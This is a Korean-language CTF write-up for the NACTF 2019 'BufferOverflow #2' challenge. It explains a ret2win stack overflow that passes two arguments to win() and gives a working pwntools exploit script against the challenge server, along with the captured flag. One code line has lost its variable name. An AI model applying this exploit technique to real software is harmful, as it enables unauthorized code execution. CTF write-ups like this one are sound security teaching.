SDJ( 수돈재 아님 ㅎ )

NACTF 2019 - BufferOverflow #2 본문

write-up/pwnable

NACTF 2019 - BufferOverflow #2

ShinDongJun 2019. 9. 23. 11:09

32bit 바이너리에 Partial RELRO만 걸려있다.

 

이번에는 win()함수에 인자 2개가 추가 되었다.

__int64 al와 int a2인데

__int64 는 8byte이고 int는 4byte라고 알고있기 때문에 

자료형에 맞게 인자를 보내줘야 겠다.

 

그리고 vuln()함수에서 bof가 발생하는데

이번에는 ret를 win으로 덮기만해서는 안되고 위에있는 인자를 덮어줘야할 필요가 있다.

따라서 RTL을 통해 win()함수를 실행 시키면 flag를 얻을 수 있다.

 

exploit code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
 
#p = process('./bufover-2')
= remote("shell.2019.nactf.com",31184)
 
win = 0x080491C2
 
a1 = 0x14B4DA55
a2 = 0xF00DB4BE
 
pay = ''
pay += 'a'*0x18
pay += p32(0)
pay += p32(win)
pay += 'aaaa'
pay += p64(a1)
pay += p32(a2)
p.sendlineafter(">", pay)
 
p.interactive()

 

 

flag: nactf{PwN_th3_4rG5_T0o_Ky3v7Ddg}

'write-up > pwnable' 카테고리의 다른 글

NACTF 2019 - Format #1  (0) 2019.09.23
NACTF 2019 - Format #0  (0) 2019.09.23
NACTF 2019 - BufferOverflow #1  (0) 2019.09.23
NACTF 2019 - BufferOverflow #0  (0) 2019.09.23
HSCTF 2019 - Storytime  (0) 2019.09.16
Comments